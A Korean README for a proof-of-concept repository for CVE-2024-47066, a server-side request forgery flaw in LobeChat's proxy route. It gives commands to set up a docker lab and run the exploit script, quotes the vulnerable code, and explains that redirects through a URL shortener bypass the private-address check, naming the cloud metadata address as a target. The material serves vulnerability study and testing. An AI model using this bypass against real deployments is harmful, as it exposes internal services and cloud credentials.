
Lobe Chat 서버 측 요청 위조 익스플로잇
★ CVE-2024-47066 LobeChat SSRF PoC ★
CVE-2024-47066 : Lobe Chat은 오픈 소스 인공지능 채팅 프레임워크입니다. 버전 1.19.13 이전에는 src/app/api/proxy/route.ts에 구현된 서버 측 요청 위조 보호가 리다이렉트를 고려하지 않아, 공격자가 사설 네트워크나 루프백 주소와 같은 내부 리소스로 리다이렉트되는 외부 악성 URL을 제공할 경우 우회될 수 있었습니다. 버전 1.19.13에는 이 문제에 대한 개선된 수정이 포함되어 있습니다.
보고자: a1loy
https://github.com/user-attachments/assets/2c4a3be0-5732-48f5-a96c-d361fd914fec
git clone https://github.com/l8BL/CVE-2024-47066.git
cd CVE-2024-47066
cd docker
docker-compose up -d
(외부) LodeChat --> SSRF 공격 --> (내부) http://www.internal-service:4000
pip install -r requirements.txt
python3 CVE-2024-47066.py -v <URL_TO_EXPLOIT> -i <URL_TO_REQUEST>
python3 CVE-2024-47066.py -v http://localhost:3210 -i http://www.internal-service:4000
CVE-2024-47066


import { isPrivate } from 'ip';
import { NextResponse } from 'next/server';
import dns from 'node:dns';
import { promisify } from 'node:util';
const lookupAsync = promisify(dns.lookup);
export const runtime = 'nodejs';
/**
* just for a proxy
*/
export const POST = async (req: Request) => {
const url = new URL(await req.text());
let address;
try {
const lookupResult = await lookupAsync(url.hostname);
address = lookupResult.address;
} catch (err) {
console.error(`${url.hostname} DNS parser error:`, err);
return NextResponse.json({ error: 'DNS parser error' }, { status: 504 });
}
const isInternalHost = isPrivate(address);
if (isInternalHost)
return NextResponse.json({ error: 'Not support internal host proxy' }, { status: 400 });
const res = await fetch(url.toString());
return new Response(res.body, { headers: res.headers });
};
26번째 줄 아래에는 리다이렉트 응답을 판별하는 곳이 없습니다. 따라서 URL 단축기를 사용하면 "isPrivate()" 함수를 쉽게 우회할 수 있습니다.
http://169.254.169.254로 요청 보내기
이 저장소는 CVE-2024-47066에 대한 SSRF 익스플로잇을 의도한 것이 아닙니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 배우고, 어쩌면 자신의 애플리케이션을 테스트할 수 있도록 돕는 것입니다.